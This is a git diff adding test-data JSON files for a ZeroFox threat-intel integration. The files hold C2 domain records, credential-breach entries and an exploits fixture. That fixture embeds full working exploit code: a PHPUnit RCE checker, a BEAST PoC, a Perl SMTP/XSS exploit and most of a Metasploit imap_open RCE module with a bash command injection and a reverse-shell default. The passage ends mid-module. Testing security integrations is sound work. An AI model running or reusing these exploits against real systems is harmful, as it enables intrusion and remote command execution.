+ "c2_ip_address": "184.105.192.2", + "c2_domain": "differentia.ru", + "is_common_domain": true, + "file_location": null, + "operating_system": null, + "anti_viruses": null, + "country_code": "US", + "zip_code": null, + "location": null, + "current_language": null, + "available_keyboards": null, + "uac": null, + "process_elevation": null, + "acquired_at": null, + "logged_at": null, + "estimated_infected_at": null, + "breached_at": null, + "tags": [ + "c2_domain_top_1m", + "c2_root_domain_top_1m" + ] + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/c2-domains.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/c2-domains.json new file mode 100644 index 000000000000..29c0518f6f0b --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/c2-domains.json @@ -0,0 +1,43 @@ +{ + "next": null, + "results": [ + { + "domain": "www.character-try.xyz", + "port": 80, + "tags": [ + "downloader", + "exploit", + "injector", + "spyware", + "sample_type:rtf_document", + "family:formbook", + "family:xloader", + "family:mal/generic-s" + ], + "ip_addresses": [ + "some_ip_address" + ], + "updated_at": "2023-06-14T10:56:24Z", + "created_at": "2023-06-14T11:10:48.373715Z" + }, + { + "domain": "www.character-try.xyz", + "port": 80, + "tags": [ + "downloader", + "exploit", + "injector", + "spyware", + "sample_type:rtf_document", + "family:xloader", + "family:formbook", + "family:mal/generic-s" + ], + "ip_addresses": [ + "some_ip_address" + ], + "updated_at": "2023-06-14T23:15:05Z", + "created_at": "2023-06-27T13:03:40.949689Z" + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/compromised-credentials.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/compromised-credentials.json new file mode 100644 index 000000000000..8a3f7efd3b17 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/compromised-credentials.json @@ -0,0 +1,15 @@ +{ + "next": null, + "results": [ + { + "domain": "stark.industries", + "email": "some_email_address", + "username": "some_email_address", + "password": null, + "breach_name": "BreachForums/Amunet: American Academy of Psychiatry and the Law Data Breach (3,001 Records)", + "breach_id": "123", + "impacted_domain": "stark", + "created_at": "2023-06-29T20:00:13.062361Z" + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/email-addresses.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/email-addresses.json new file mode 100644 index 000000000000..7138fa1b9edc --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/email-addresses.json @@ -0,0 +1,18 @@ +{ + "next": null, + "results": [ + { + "created_at": "2023-06-27T12:31:05Z", + "email": "some_email_address", + "domain": "stark.com", + "tags": [ + "family:agenttesla", + "collection", + "keylogger", + "spyware", + "stealer", + "trojan" + ] + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/exploits.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/exploits.json new file mode 100644 index 000000000000..5b349a7fac8b --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/exploits.json @@ -0,0 +1,87 @@ +{ + "next": "https://api.zerofox.com/cti/exploits/?cursor=c2E9MTYyNzU2ODM2ODAwMCZzYT0zMQ%3D%3D&since=2023-06-27T00%3A00%3A00Z", + "results": [ + { + "created_at": "2021-07-26T09:40:37Z", + "cve": "CVE-2017-9841", + "urls": [ + "https://github.com/ludy-dev/PHPUnit_eval-stdin_RCE/blob/master/PHPUnit_eval-stdin_RCE.py" + ], + "exploit": "import re\nimport requests\nimport sys\nimport os\nimport base64\n\ndef exploit(dst_addr):\n\tlist = {\"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\"\n ,\"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php\"\n ,\"/vendor/phpunit/src/Util/PHP/eval-stdin.php\"\n ,\"/vendor/phpunit/Util/PHP/eval-stdin.php\"\n ,\"/phpunit/phpunit/src/Util/PHP/eval-stdin.php\"\n ,\"/phpunit/phpunit/Util/PHP/eval-stdin.php\"\n ,\"/phpunit/src/Util/PHP/eval-stdin.php\"\n ,\"/phpunit/Util/PHP/eval-stdin.php\"\n ,\"/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php\"\n ,\"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php\"\n ,\"/lib/phpunit/src/Util/PHP/eval-stdin.php\"\n ,\"/lib/phpunit/Util/PHP/eval-stdin.php\"}\n\t\n\tprint(dst_addr)\n\tfor i in list:\n\t\t\n\t\tURL=\"http://\"+dst_addr+i\n\t\tprint(URL)\n\t\tdata = \"\"\n\t\tres = requests.post(URL, data=data, verify=False)\n\t\tresponse = res.text\n\t\t\n \t\tp = re.compile('c0eb89e1d7f2982390f96603e66f2b6b') # md5(Apri1) = c0eb89e1d7f2982390f96603e66f2b6b\n\t\tm = p.match(response)\n\t\tprint(\"Status Code : %d\"% res.status_code)\n\t\tif m:\n\t\t\t\tprint(\"Vuln Found\")\n\t\telse:\n\t\t\t\tprint(\"Not Found\")\n\n\nif __name__ == \"__main__\":\n\tif len(sys.argv) == 2:\n\t\t sys.argv.append('80')\n\telif len(sys.argv) < 3:\n\t\t\tprint ('Usage: python %s ' % os.path.basename(sys.argv[0]))\n\t\t\tsys.exit()\t\n\taddress =(sys.argv[1], sys.argv[2])\n\tdst_addr=\":\".join(address)\n\texploit(dst_addr)" + }, + { + "created_at": "2021-07-26T10:50:22Z", + "cve": "CVE-2011-3389", + "urls": [ + "https://github.com/mpgn/BEAST-PoC" + ], + "exploit": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\n BEAST attack - PoC\n Implementation of the cryptographic path behind the attack\n Author: mpgn \n'''\n\nimport random\nimport binascii\nimport sys\nfrom Crypto.Cipher import AES\nfrom Crypto import Random\n\n\"\"\"\n AES-CBC\n function encrypt, decrypt, pad, unpad\n You can fix the IV in the function encrypt() because TLS 1.0 fix the IV\n for the second, third... request (to gain time)\n\"\"\"\n\ndef pad(s):\n return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)\n\ndef unpad(s):\n return s[:-ord(s[len(s)-1:])]\n\n# we admit the handshake produce a secret key for the session\n# of course we do not have any HMAC etc .. but there are not usefull in this attack\ndef encrypt( msg, iv_p=0):\n raw = pad(msg)\n if iv_p == 0:\n iv = Random.new().read( AES.block_size )\n else:\n iv = iv_p\n global key\n key = Random.new().read( AES.block_size )\n cipher = AES.new('V38lKILOJmtpQMHp', AES.MODE_CBC, iv )\n return cipher.encrypt( raw )\n\n\"\"\"\n The PoC of BEAST attack -\n Implementation of the cryptographic path behind the attack\n - the attacker can retrieve the request send be the client \n - but also make the client send requests with the plain text of his choice\n\"\"\"\n\ndef xor_strings(xs, ys, zs):\n return \"\".join(chr(ord(x) ^ ord(y) ^ ord(z)) for x, y, z in zip(xs, ys, zs))\n\ndef xor_block(vector_init, previous_cipher,p_guess):\n xored = xor_strings(vector_init, previous_cipher, p_guess)\n return xored\n\ndef split_len(seq, length):\n return [seq[i:i+length] for i in range(0, len(seq), length)]\n\n# the PoC start here, two method, one with two request\n# the other with two request\ndef run_two_request(find_me):\n print \"Start decrypting the request block 0 --> block 0\\n\"\n \n secret = []\n\n # the part of the request the atacker know, can be null\n i_know = \"flag: \"\n\n # padding is the length we need to add to i_know to create a length of 15 bytes\n padding = 16 - len(i_know) - 1\n i_know = \"a\"*padding + i_know\n\n # add_byte will be decrement every byte deciphered\n add_byte = 16\n length_block = 16\n t = 0\n\n # retrieve all the request\n while(t < (len(find_me)-len(\"flag: \"))):\n for i in range(0,256):\n \n # good pad\n if (add_byte+padding) < 0:\n s = find_me[-1*(add_byte+padding):]\n else:\n s = find_me\n\n # the client send the encrypted request with socket and TLS1.0\n # you intercept the request and now you have: enc\n enc = encrypt(\"a\"*(add_byte+padding) + s)\n\n # get the value of the request ciphered\n original = split_len(binascii.hexlify(enc), 32)\n\n # GUESS XOR VI XOR C_I_1 build by the attacker\n vector_init = str(enc[-length_block:])\n previous_cipher = str(enc[0:length_block])\n p_guess = i_know + chr(i)\n \n xored = xor_block( vector_init, previous_cipher, p_guess)\n\n # with some javascript injection, you force the client to send\n # request of your choice, the TLS1.0 fix the IV to the last block of the previous request\n # with a MiTM you intercept the result and get\n enc = encrypt(xored, vector_init)\n\n result = split_len(binascii.hexlify(enc), 32)\n\n sys.stdout.write(\"\\r%s -> %s \" % (original[1], result[0]))\n sys.stdout.flush()\n\n # if the result request contains the same cipher block from the original request -> OK\n if result[0] == original[1]:\n print \" Find char \" + chr(i)\n i_know = p_guess[1:]\n add_byte = add_byte - 1\n secret.append(chr(i))\n t = t + 1\n break\n elif i == 255:\n print \"Unable to find the char...\"\n return secret\n return secret\n\n# the PoC start here \ndef run_three_request(find_me):\n print \"Start decrypting the request using block 0 --> block 1\\n\"\n\n secret = []\n\n # the part of the request the atacker know, can be null\n i_know = \"flag: \"\n\n # padding is the length we need to add to i_know to create a length of 15 bytes\n padding = 16 - len(i_know) - 1\n i_know = \"a\"*padding + i_know\n length_block = 16\n t = 0\n\n # retrieve all the request\n while(t < (len(find_me)-len(\"flag: \"))):\n for i in range(0,256):\n # good pad\n if padding < 0:\n s = find_me[-1*(padding):]\n else:\n s = find_me\n \n # the first request is send\n first_r = encrypt(\"a\"*(padding) + s)\n # the second request is send\n enc = encrypt(\"a\"*(padding) + s, first_r[-length_block:])\n\n # get the value of the request ciphered\n original = split_len(binascii.hexlify(enc), 32)\n\n # GUESS XOR VI XOR C_I_1 build by the attacker\n vector_init = str(enc[-length_block:])\n previous_cipher = str(first_r[-length_block:])\n p_guess = i_know + chr(i)\n\n xored = xor_block( vector_init, previous_cipher, p_guess)\n\n # with some javascript injection, you force the client to send the\n # request of your choice, the TLS1.0 fix the IV to the last block of the previous request\n # with a MiTM you intercept the result and get\n enc = encrypt(xored, vector_init)\n\n result = split_len(binascii.hexlify(enc), 32)\n\n sys.stdout.write(\"\\r%s -> %s \" % (original[0], result[0]))\n sys.stdout.flush()\n\n # if the result request contains the same cipher block from the original request -> OK\n if result[0] == original[0]:\n print \" Find char \" + chr(i)\n i_know = p_guess[1:]\n padding = padding -1\n secret.append(chr(i))\n t = t + 1\n break\n elif i == 255:\n print \"Unable to find the char...\"\n return secret\n return secret\n\n\n# the attacker don't know the flag\nsecret = run_three_request(\"flag: WIN{TLS_1.0_Not_SO_Good_With_Socket}\")\n# or\n# secret = run_two_request(\"flag: WIN{TLS_1.0_Not_SO_Good_With_Socket}\")\n\nfound = ''.join(secret)\nprint \"\\n\" + found" + }, + { + "created_at": "2021-07-26T12:19:18Z", + "cve": "CVE-2005-2857", + "urls": [ + "some_host/exploits/1193" + ], + "exploit": "#!usr/bin/perl\n#\n# FREE SMTP Spam Filter Exploit\n# ------------------------------------\n# Infam0us Gr0up - Securiti Research\n#\n# Info: infamous.2hell.com\n# Vendor URL: some_host/\n# \n\nuse IO::Socket;\nuse Socket;\n\nprint(\"\\n FREE SMTP Spam Filter Exploit\\n\");\nprint(\" ---------------------------------\\n\\n\");\n\n# Changes to own feed \n$helo = \"mail.test\"; # HELO\n$mfrom = \"[support@vuln.test]\"; # MAIL FROM\n$rcpto = \"[root@localhost]\"; # RCPT TO\n$date = \"11 Feb 2099 12:07:10\"; # Date\n$from = \"Micro SEX's\"; # From mailer\n$subject = \"Check the new version.. ®®®\\n\".\n\"[b]VICKY VETTE[/b][i]is HOT Editon.Check it OUT!!. Free Nude Shop. Sex,video,picture,toys and XXX Chat Adults live!!![/i]\".\n\"[br][a href=http://127.0.0.1 onMouseOver=alert(document.cookie);]Click Here[/a]\"; # subject spammmer\n\nif($#ARGV < 0 | $#ARGV > 1) { \ndie \"usage: perl $0 [IP/host] \\nExam: perl $0 127.0.0.1 \\n\" };\n\n$adr = $ARGV[0];\n$prt = \"25\";\n\n# Don't changes this one\n$act1 = \"\\x48\\x45\\x4c\\x4f $helo\";\n$act2 = \"\\x4d\\x41\\x49\\x4c \\x46\\x52\\x4f\\x4d\\x3a$mfrom\";\n$act3 = \"\\x52\\x43\\x50\\x54 f\\x54\\x4f\\x3a$rcpto\";\n$act4 = \"\\x44\\x41\\x54\\x41\";\n$act5 = \"\\x44\\x61\\x74\\x65\\x3a $date\";\n\n$sub = \n\"\\x46\\x72\\x6f\\x6d\\x3a $from\".\n\"\\x53\\x75\\x62\\x6a\\x65\\x63\\x74\\x3a $subject\\x2e\".\n\"\\x51\\x55\\x49\\x54\";\n\nprint \"[+] Connect to $adr..\\n\";\n$remote = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>$adr,\nPeerPort=>$prt, Reuse=>1) or die \"[-] Error: can't connect to $adr:$prt\\n\";\nprint \"[+] Connected!\\n\";\n$remote->autoflush(1);\nprint \"[*] Send HELO..\";\nprint $remote \"$act1\" or die \"\\n[-] Error: can't send xploit code\\n\";\nsleep(1);\nprint \"[OK]\\n\";\nprint \"[*] Send MAIL FROM..\";\nprint $remote \"$act2\" or die \"\\n[-] Error: can't send xploit code\\n\";\nsleep(1);\nprint \"[OK]\\n\";\nprint \"[*] Send RCPT TO..\";\nprint $remote \"$act3\" or die \"\\n[-] Error: can't send xploit code\\n\";\nsleep(1);\nprint \"[OK]\\n\";\nprint \"[*] Send DATA..\";\nprint $remote \"$act4\" or die \"\\n[-] Error: can't send xploit code\\n\";\nsleep(1);\nprint \"[OK]\\n\";\nprint \"[*] Send DATE..\";\nprint $remote \"$act5\" or die \"\\n[-] Error: can't send xploit code\\n\";\nsleep(1);\nprint \"[OK]\\n\";\nprint \"[*] Send Sub Mail..\";\nprint $remote \"$sub\" or die \"\\n[-] Error: can't send xploit code\\n\";\nprint \"[OK]\\n\";\nprint \"[*] QUIT..\\n\";\nprint \"[+] MAIL SPAMWNED!\\n\\n\";\nclose $remote;\nprint \"press any key to exit..\\n\";\n$bla= [STDIN];\n\n# milw0rm.com [2005-09-02]" + }, + { + "created_at": "2021-07-26T12:35:48Z", + "cve": "CVE-2018-19518", + "urls": [ + "https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/http/php_imap_open_rce.rb" + ], + "exploit": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GoodRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'php imap_open Remote Code Execution',\n 'Description' => %q{\n The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an\n IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand\n option can be passed from imap_open to execute arbitrary commands.\n While many custom applications may use imap_open, this exploit works against the following applications:\n e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.\n Prestashop exploitation requires the admin URI, and administrator credentials.\n suiteCRM/e107 require administrator credentials. Fixed in php 5.6.39.\n },\n 'Author' =>\n [\n 'Anton Lopanitsyn', # Vulnerability discovery and PoC\n 'Twoster', # Vulnerability discovery and PoC\n 'h00die', # Metasploit Module\n 'Paolo Serracino', # Horde IMP EDB\n 'Pietro Minniti', # Horde IMP EDB\n 'Damiano Proietti' # Horde IMP EDB\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'URL', 'https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395' ],\n [ 'URL', 'https://github.com/Bo0oM/PHP_imap_open_exploit' ],\n [ 'EDB', '45865'],\n # This claims all versions of Horde IMP are vuln, but only H3 (~2012) and possibly older are vuln.\n [ 'EDB', '46136'],\n [ 'URL', 'some_host/bug.php?id=76428'],\n [ 'CVE', '2018-19518'],\n [ 'CVE', '2018-1000859']\n ],\n 'Privileged' => false,\n 'Platform' => [ 'unix' ],\n 'Arch' => ARCH_CMD,\n 'Targets' =>\n [\n [ 'prestashop', {} ],\n [ 'suitecrm', {}],\n [ 'e107v2', {'WfsDelay' => 90}], # may need to wait for cron\n [ 'Horde IMP H3', {}],\n [ 'custom', {'WfsDelay' => 300}]\n ],\n 'PrependFork' => true,\n 'DefaultOptions' =>\n {\n 'PAYLOAD' => 'cmd/unix/reverse_netcat',\n 'WfsDelay' => 120\n },\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2018-10-23'))\n\n register_options(\n [\n OptString.new('TARGETURI', [ true, \"Base directory path\", '/admin2769gx8k3']),\n OptString.new('USERNAME', [ false, \"Username to authenticate with\", '']),\n OptString.new('PASSWORD', [ false, \"Password to authenticate with\", ''])\n ])\n end\n\n def check\n if target.name =~ /prestashop/\n uri = normalize_uri(target_uri.path)\n res = send_request_cgi({'uri' => uri})\n if res && (res.code == 301 || res.code == 302)\n return CheckCode: :Detected\n end\n elsif target.name =~ /suitecrm/\n #login page GET /index.php?action=Login&module=Users\n vprint_status('Loading login page')\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'vars_get' => {\n 'action' => 'Login',\n 'module' => 'Users'\n }\n )\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n\n if res.code = 200\n return CheckCode: :Detected\n end\n elsif target.name =~ /Horde IMP H3/\n res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'imp', 'test.php')})\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n major, minor = res.body.scan(/PHP Major Version: (?5\\.[1-6]{1})<\/li>\\s+
  • PHP Minor Version: (?[\\d]?\\d)/).flatten\n phpversion = \"#{major}.#{minor}\"\n if res.code == 200 && res.body =~ /PHP Mail Server Support Test/ && phpversion != '.'\n if Rex::Version.new(phpversion) < Rex::Version.new('5.6.39')\n vprint_good(\"PHP Version #{phpversion} is vulnerable\")\n return CheckCode: :Appears\n else\n vprint_bad(\"PHP Version #{phpversion} is NOT vulnerable, patched in 5.6.39.\")\n end\n end\n end\n CheckCode::Safe\n end\n\n def command(spaces='$IFS$()')\n #payload is base64 encoded, and stuffed into the SSH option.\n enc_payload = Rex::Text.encode_base64(payload.encoded)\n command = \"-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`\"\n #final payload can not contain spaces, however $IFS$() will return the space we require\n command.gsub!(' ', spaces)\n end\n\n def exploit\n if target.name =~ /prestashop/\n uri = normalize_uri(target_uri.path)\n res = send_request_cgi({'uri' => uri})\n if res && res.code != 301\n print_error('Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3')\n return\n end\n\n #There are a bunch of redirects that happen, so we automate going through them to get to the login page.\n while res.code == 301 || res.code == 302\n cookie = res.get_cookies\n uri = res.headers['Location']\n vprint_status(\"Redirected to #{uri}\")\n res = send_request_cgi({'uri' => uri})\n end\n\n #Tokens are generated for each URL or sub-component, we need valid ones!\n /.*token=(?\\w{32})/ =~ uri\n /id=\"redirect\" value=\"(?.*)\"\/>/ =~ res.body\n cookie = res.get_cookies\n\n unless token && redirect\n print_error('Unable to find token and redirect URL, check options.')\n return\n end\n\n vprint_status(\"Token: #{token} and Login Redirect: #{redirect}\")\n print_status(\"Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}\")\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'cookie' => cookie,\n 'vars_post' => {\n 'ajax' => 1,\n 'token' => '',\n 'controller' => 'AdminLogin',\n 'submitLogin' => '1',\n 'passwd' => datastore['PASSWORD'],\n 'email' => datastore['USERNAME'],\n 'redirect' => redirect\n },\n 'vars_get' => {\n 'rand' => '1542582364810' #not sure if this will hold true forever, I didn't see where it is being generated\n }\n )\n if res && res.body.include?('Invalid password')\n print_error('Invalid Login')\n return\n end\n vprint_status(\"Login JSON Response: #{res.body}\")\n uri = JSON.parse(res.body)['redirect']\n cookie = res.get_cookies\n print_good('Login Success, loading admin dashboard to pull tokens')\n res = send_request_cgi({'uri' => uri, 'cookie' => cookie})\n\n /AdminCustomerThreads&token=(?\\w{32})/ =~ res.body\n vprint_status(\"Customer Threads Token: #{token}\")\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'cookie' => cookie,\n 'vars_get' => {\n 'controller' => 'AdminCustomerThreads',\n 'token' => token\n }\n })\n\n /form method=\"post\" action=\"index\\.php\\?controller=AdminCustomerThreads&token=(?\\w{32})/ =~ res.body\n print_good(\"Sending Payload with Final Token: #{token}\")\n data = Rex::MIME::Message.new\n data.add_part('1', nil, nil, 'form-data; name=\"PS_CUSTOMER_SERVICE_FILE_UPLOAD\"')\n data.add_part(\"Dear Customer,\\n\\nRegards,\\nCustomer service\", nil, nil, 'form-data; name=\"PS_CUSTOMER_SERVICE_SIGNATURE_1\"')\n data.add_part(\"x #{command}}\", nil, nil, 'form-data; name=\"PS_SAV_IMAP_URL\"')\n data.add_part('143', nil, nil, 'form-data; name=\"PS_SAV_IMAP_PORT\"')\n data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name=\"PS_SAV_IMAP_USER\"')\n data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name=\"PS_SAV_IMAP_PWD\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_DELETE_MSG\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_CREATE_THREADS\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_OPT_POP3\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_OPT_NORSH\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_OPT_SSL\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_OPT_VALIDATE-CERT\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_OPT_NOVALIDATE-CERT\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_OPT_TLS\"')\n data.add_part('0', nil, nil, 'form-data; name=\"PS_SAV_IMAP_OPT_NOTLS\"')\n data.add_part('', nil, nil, 'form-data; name=\"submitOptionscustomer_thread\"')\n\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n 'data' => data.to_s,\n 'cookie' => cookie,\n 'vars_get' => {\n 'controller' => 'AdminCustomerThreads',\n 'token' => token\n }\n )\n print_status('IMAP server change left on server, manual revert required.')\n\n if res && res.body.include?('imap Is Not Installed On This Server')\n print_error('PHP IMAP mod not installed/enabled ')\n end\n elsif target.name =~ /suitecrm/\n #login page GET /index.php?action=Login&module=Users\n vprint_status('Loading login page')\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'vars_get' => {\n 'action' => 'Login',\n 'module' => 'Users'\n }\n )\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n\n if res.code = 200\n cookie = res.get_cookies\n else\n print_error(\"HTTP code #{res.code} found, check options.\")\n return\n end\n\n vprint_status(\"Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}\")\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'cookie' => cookie,\n 'vars_post' => {\n 'module' => 'Users',\n 'action' => 'Authenticate',\n 'return_module' => 'Users',\n 'return_action' => 'Login',\n 'cant_login' => '',\n 'login_module' => '',\n 'login_action' => '',\n 'login_record' => '',\n 'login_token' => '',\n 'login_oauth_token' => '',\n 'login_mobile' => '',\n 'user_name' => datastore['USERNAME'],\n 'username_password' => datastore['PASSWORD'],\n 'Login' => 'Log+In'\n }\n )\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n\n if res.code = 302\n cookie = res.get_cookies\n print_good('Login Success')\n else\n print_error('Failed Login, check options.')\n end\n\n #load the email settings page to get the group_id\n vprint_status('Loading InboundEmail page')\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'cookie' => cookie,\n 'vars_get' => {\n 'module' => 'InboundEmail',\n 'action' => 'EditView'\n }\n )\n\n unless res\n print_error('Error loading site.')\n return\n end\n\n /\"group_id\" value=\"(?\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12})\">/ =~ res.body\n\n unless group_id\n print_error('Could not identify group_id from form page')\n return\n end\n\n print_good(\"Sending payload with group_id #{group_id}\")\n\n referer = \"http://#{datastore['RHOST']}#{normalize_uri(target_uri.path, 'index.php')}?module=InboundEmail&action=EditView\"\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'cookie' => cookie,\n #required to prevent CSRF protection from triggering\n 'headers' => { 'Referer' => referer},\n 'vars_post' => {\n 'module' => 'InboundEmail',\n 'record' => '',\n 'origin_id' => '',\n 'isDuplicate' => 'false',\n 'action' => 'Save',\n 'group_id' => group_id,\n 'return_module' => '',\n 'return_action' => '',\n 'return_id' => '',\n 'personal' => '',\n 'searchField' => '',\n 'mailbox_type' => '',\n 'button' => ' Save ',\n 'name' => Rex::Text.rand_text_alphanumeric(8),\n 'status' => 'Active',\n 'server_url' => \"x #{command}}\",\n 'email_user' => Rex::Text.rand_text_alphanumeric(8),\n 'protocol' => 'imap',\n 'email_password' => Rex::Text.rand_text_alphanumeric(8),\n 'port' => '143',\n 'mailbox' => 'INBOX',\n 'trashFolder' => 'TRASH',\n 'sentFolder' => '',\n 'from_name' => Rex::Text.rand_text_alphanumeric(8),\n 'is_auto_import' => 'on',\n 'from_addr' => \"#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org\",\n 'reply_to_name' => '',\n 'distrib_method' => 'AOPDefault',\n 'distribution_user_name' => '',\n 'distribution_user_id' => '',\n 'distribution_options[0]' => 'all',\n 'distribution_options[1]' => '',\n 'distribution_options[2]' => '',\n 'create_case_template_id' => '',\n 'reply_to_addr' => '',\n 'template_id' => '',\n 'filter_domain' => '',\n 'email_num_autoreplies_24_hours' => '10',\n 'leaveMessagesOnMailServer' => '1'\n }\n )\n if res && res.code == 200\n print_error('Triggered CSRF protection, may try exploitation manually.')\n end\n print_status('IMAP server config left on server, manual removal required.')\n elsif target.name =~ /Horde IMP H3/\n # The original EDB module claims \"Version: All IMP versions\", however the current\n # major branch https://github.com/horde/imp/tree/74e3f5fdbac31dfcff15195832c1b9b888767982\n # does not include any reference to imap_open, nor 'test.php' in the root directory.\n # H5 (current) uses the IMP test url: /horde/test.php?app=imp with \"Mail Server Support Test\"\n # as the header:\n # https://github.com/horde/imp/blob/16400fd5f52610d27d59d21fe2e39db2c85837f1/lib/Test.php#L85\n # H3 (~2012) uses the IMP test url: /horde/imp/test.php and \"PHP Mail Server Support Test\"\n # which are the values coded into the python edb exploit.\n print_status(\"Sending Exploit Request\")\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'imp', 'test.php'),\n 'vars_post' => {\n 'f_submit' => 'Submit',\n 'passwd' => Rex::Text.rand_text_alphanumeric(8),\n 'port' => '143',\n 'server' => \"x #{command}}\",\n 'server_type' => 'imap',\n 'user' => Rex::Text.rand_text_alphanumeric(8)\n })\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n elsif target.name =~ /e107v2/\n # e107 has an encoder which prevents $IFS$() from being used as $ = $\n # \\t also became /t, however \"\\t\" does seem to work.\n\n # e107 also uses a cron job to check bounce jobs, which may not be active.\n # either cron can be disabled, or bounce checks disabled, so we try to\n # kick the process manually, however if it doesn't work we'll hope\n # cron is running and we get a call back anyways.\n\n vprint_status(\"Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}\")\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'e107_admin', 'admin.php'),\n 'vars_post' => {\n 'authname' => datastore['USERNAME'],\n 'authpass' => datastore['PASSWORD'],\n 'authsubmit' => 'Log In'\n })\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n\n if res.code == 302\n cookie = res.get_cookies\n print_good('Login Success')\n else\n print_error('Failed Login, check options.')\n end\n\n vprint_status('Checking if Cron is enabled for triggering')\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),\n 'cookie' => cookie\n )\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n if res.body.include? 'Status: Disabled'\n print_error('Cron disabled, unexploitable.')\n return\n end\n\n print_good('Storing payload in mail settings')\n\n # the imap/pop field is hard to find. Check Users > Mail\n # then check \"Bounced emails - Processing method\" and set it to \"Mail account\"\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'e107_admin', 'mailout.php'),\n 'cookie' => cookie,\n 'vars_get' => {\n 'mode' => 'prefs',\n 'action' => 'prefs'\n },\n 'vars_post' => {\n 'testaddress' => 'some_email_address',\n 'testtemplate' => 'textonly',\n 'bulkmailer' => 'smtp',\n 'smtp_server' => '1.1.1.1',\n 'smtp_username' => 'username',\n 'smtp_password' => 'password',\n 'smtp_port' => '25',\n 'smtp_options' => '',\n 'smtp_keepalive' => '0',\n 'smtp_useVERP' => '0',\n 'mail_sendstyle' => 'texthtml',\n 'mail_pause' => '3',\n 'mail_pausetime' => '4',\n 'mail_workpertick' => '5',\n 'mail_log_option' => '0',\n 'mail_bounce' => 'mail',\n 'mail_bounce_email2' => '',\n 'mail_bounce_email' => \"#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org\",\n 'mail_bounce_pop3' => \"x #{command(\"\\t\")}}\",\n 'mail_bounce_user' => Rex::Text.rand_text_alphanumeric(8),\n 'mail_bounce_pass' => Rex::Text.rand_text_alphanumeric(8),\n 'mail_bounce_type' => 